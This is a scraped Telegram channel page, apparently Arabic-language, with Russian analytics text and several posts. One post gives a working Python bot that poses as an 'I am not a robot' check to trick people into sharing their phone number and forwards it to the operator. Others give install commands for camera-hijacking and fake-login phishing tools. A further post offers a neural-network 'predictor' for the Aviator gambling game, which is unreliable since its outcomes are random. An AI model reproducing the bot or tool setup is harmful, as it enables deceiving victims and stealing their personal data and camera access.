ᔕᕼᗩᗪOᗯ ᗰIᑎᗪ STᑌᗪIO
⸻ᔕᕼᗩᗪOᗯ ᗰIᑎᗪ ⸻ #php #python #telebot #codes ⚠️ المحتوى الموجود هنا لأغراض تعليمية فقط ولا نتحمل أي مسؤولية عن استخدامه، الغرض منه الفحص والتجربة داخل بيئات خاصة وغير حقيقية
Больше📈 Аналитический обзор Telegram-канала ᔕᕼᗩᗪOᗯ ᗰIᑎᗪ STᑌᗪIO
Канал ᔕᕼᗩᗪOᗯ ᗰIᑎᗪ STᑌᗪIO (@phpandpy) языкового сегмента Арабский является активным участником. Сейчас сообщество объединяет 16 214 подписчиков, занимая 7 729 место в категории Технологии и приложения и 1 478 место в регионе Египет.
📊 Показатели аудитории и динамика
С момента создания невідомо проект демонстрирует стремительный рост, собрав аудиторию из 16 214 подписчиков.
Согласно последним данным от 23 сентября, 2026, канал показывает стабильную активность. За последние 30 дней изменение числа участников составило 405, а за последние 24 часа — 8, при этом общий охват остаётся высоким.
- Статус верификации: Не верифицирован
- Уровень вовлечённости (ER): Средний показатель вовлечённости аудитории составляет 9.19%. В первые 24 часа после публикации контент обычно набирает 2.94% реакций от общего числа подписчиков.
- Охват публикаций: В среднем каждый пост получает 1 489 просмотров. В течение первых суток публикация набирает 476 просмотров.
- Реакции и взаимодействия: Аудитория активно поддерживает контент: среднее количество реакций на один пост — 16.
- Тематические интересы: Контент сосредоточен на ключевых темах, таких как سِعر, تَحدِيث, بَلُوقِن, تَشغِيل, حَقّ.
📝 Описание и контентная политика
Автор описывает ресурс как площадку для выражения субъективного мнения:
“⸻ᔕᕼᗩᗪOᗯ ᗰIᑎᗪ ⸻
#php
#python
#telebot
#codes
⚠️ المحتوى الموجود هنا لأغراض تعليمية فقط ولا نتحمل أي مسؤولية عن استخدامه، الغرض منه الفحص والتجربة داخل بيئات خاصة وغير حقيقية”
Благодаря высокой частоте обновлений (последние данные получены 24 сентября, 2026) канал поддерживает актуальность и высокий уровень охвата публикаций. Аналитика показывает, что аудитория активно взаимодействует с контентом, что делает его важной точкой влияния в категории Технологии и приложения.
import telebot
from telebot import types
bot = telebot.TeleBot("صع توكن بوتك")
admin_id = ضع id حسابك
@bot.message_handler(commands=['start'])
def register(message):
keyboard = types.ReplyKeyboardMarkup(one_time_keyboard=True)
reg_button = types.KeyboardButton(text="انا لست روبوت", request_contact=True)
keyboard.add(reg_button)
response = bot.send_message(message.chat.id, "عذرا ❌ لايمكنك استخدام البوت اضغط انا لست روبوت لكي نتحقق من حسابك", reply_markup=keyboard)
@bot.message_handler(content_types=['contact'])
def contact_handler(message):
F = message.contact.phone_number
bot.send_message(admin_id, text=f"اهلا عزيزي الادمن تم سحب الرقم +{F}")
bot.send_message(message.chat.id, text="شكراً لك تم التحقق من حسابك")
if __name__ == '__main__':
bot.polling(none_stop=True)
ضع توكن بوتك و id حسابك والبوت يشتغل...
تدزه للشخص راح يوهمه البوت بتحقق حسابه...
عند الضغط راح يترسل الرقم الخاص بحسابه تيليجرام وبس...
#منقوله☢️5h5688070hu50.imgأذا حابب تفتحها وتنزلها ع جهازك لو كنت تستخدم Termux أو هاتفك تكتب هذا الامر
mv اسم الصوره /sdcard/Download/
نفترض قولنا الاسم هنكتب كدا
mv 5h5688070hu50.img /sdcard/Download
ع طول تدخل ع ملفاتك ثم Download هتلقيها
ولو كنت kali ع حاسوب نفس الحوار بس نغير الامر الي
mv اسم الصوره ~/Desktop/
تنزيل الاداه:
git clone https://github.com/MohamedAbuAl-Saud/Hack-Camra-Link-DF.git
cd Hack-Camra-Link-DF
apt install php
bash hackcamra.sh
By|| @A_Y_TRimport numpy as np
import matplotlib.pyplot as plt
import tensorflow as tf
from tensorflow.keras.models import Sequential
from tensorflow.keras.layers import LSTM, GRU, Dense, Dropout
from sklearn.preprocessing import MinMaxScaler
import xgboost as xgb
# بيانات الجولات السابقة (استبدلها بالبيانات الحقيقية من اللعبة)
previous_rounds = [1.2, 2.5, 1.8, 1.4, 3.0, 1.1, 2.2, 1.7, 1.3, 2.8, 1.6, 2.0, 2.9, 1.9, 3.5, 1.5, 3.8, 2.4, 1.2, 2.1, 2.7, 3.3, 1.4, 2.6, 1.9, 3.7, 1.8, 2.9, 3.4, 2.2]
# تحويل البيانات إلى مصفوفة NumPy
data = np.array(previous_rounds).reshape(-1, 1)
# تطبيع البيانات لجعلها مناسبة للنموذج
scaler = MinMaxScaler(feature_range=(0, 1))
scaled_data = scaler.fit_transform(data)
# **تحضير بيانات التدريب ب.. Sliding Window**
def create_dataset(dataset, time_step=5):
X, Y = [], []
for i in range(len(dataset) - time_step - 1):
X.append(dataset[i:(i + time_step), 0])
Y.append(dataset[i + time_step, 0])
return np.array(X), np.array(Y)
time_step = 5 # عدد الجولات السابقة اللي يعتمد عليها التنبؤ
X, y = create_dataset(scaled_data, time_step)
X = X.reshape(X.shape[0], X.shape[1], 1) # تحويل البيانات لشكل مناسب لـ LSTM و GRU
model = Sequential([
LSTM(128, return_sequences=True, input_shape=(time_step, 1)),
Dropout(0.3),
GRU(128, return_sequences=True),
Dropout(0.3),
LSTM(64, return_sequences=False),
Dense(32, activation='relu'),
Dense(16, activation='relu'),
Dense(1)
])
# تدريب النموذج
model.compile(optimizer='adam', loss='mean_squared_error')
model.fit(X, y, epochs=150, batch_size=4, verbose=2)
# استخدام XGBoost لتحليل الأنماط المخفية
xgb_model = xgb.XGBRegressor(objective='reg:squarederror', n_estimators=100)
xgb_model.fit(X.reshape(X.shape[0], -1), y)
# التنبؤ بالجولات القادمة باستخدام LSTM + GRU + XGBoost
future_input = scaled_data[-time_step:].reshape(1, time_step, 1)
predictions_lstm_gru = []
predictions_xgb = []
for _ in range(5): # التنبؤ بـ 5 جولات قادمة
predicted_lstm_gru = model.predict(future_input)
predictions_lstm_gru.append(predicted_lstm_gru[0, 0])
predicted_xgb = xgb_model.predict(future_input.reshape(1, -1))
predictions_xgb.append(predicted_xgb[0])
# تحديث البيانات بإضافة التوقع الجديد
future_input = np.append(future_input[:, 1:, :], [[predicted_lstm_gru]], axis=1)
# دمج التوقعات
final_predictions = np.mean([predictions_lstm_gru, predictions_xgb], axis=0)
final_predictions = scaler.inverse_transform(np.array(final_predictions).reshape(-1, 1))
# عرض النتائج
print("🔮 التوقعات للجولات القادمة:", [round(p[0], 2) for p in final_predictions])
# رسم البيانات
plt.plot(previous_rounds, label="البيانات الفعلية", marker='o', linestyle='-')
plt.plot(range(len(previous_rounds), len(previous_rounds) + 5), final_predictions, label="التوقعات", marker='x', linestyle='dashed', color='red')
plt.xlabel("الجولة")
plt.ylabel("المضاعف المتوقع")
plt.title("تحليل Aviator باستخدام LSTM + GRU + XGBoost")
plt.legend()
plt.show()
BY|| @A_Y_TR5h5688070hu50.imgأذا حابب تفتحها وتنزلها ع جهازك لو كنت تستخدم Termux أو هاتفك تكتب هذا الامر
mv اسم الصوره /sdcard/Download/
نفترض قولنا الاسم هنكتب كدا
mv 5h5688070hu50.img /sdcard/Download
ع طول تدخل ع ملفاتك ثم Download هتلقيها
ولو كنت kali ع حاسوب نفس الحوار بس نغير الامر الي
mv اسم الصوره ~/Desktop/
تنزيل الاداه:
git clone https://github.com/MohamedAbuAl-Saud/Hack-Camra-Link-DF.git
cd Hack-Camra-Link-DF
apt install php
bash hackcamra.sh
By|| @A_Y_TRgit clone https://github.com/MohamedAbuAl-Saud/PhantomLogin-DF.git
cd PhantomLogin-DF
pkg install php
pkg install ssh
pkg install jq
chmod +x bash phantomlogin.sh
bash phantomlogin.sh
ع kali linux:
git clone https://github.com/MohamedAbuAl-Saud/PhantomLogin-DF.git
cd PhantomLogin-DF
su
apt install php
apt install ssh
apt install jq
chmod +x bash phantomlogin.sh
bash phantomlogin.sh
لو وجهتك اي مشكله في التثبيت في اي بيئه اكتب الامر ده وتاكد من سرعه الانتر نت:
chmod +x install.sh
bash install.sh
وأي مشكله راسلني خاص @A_Y_TR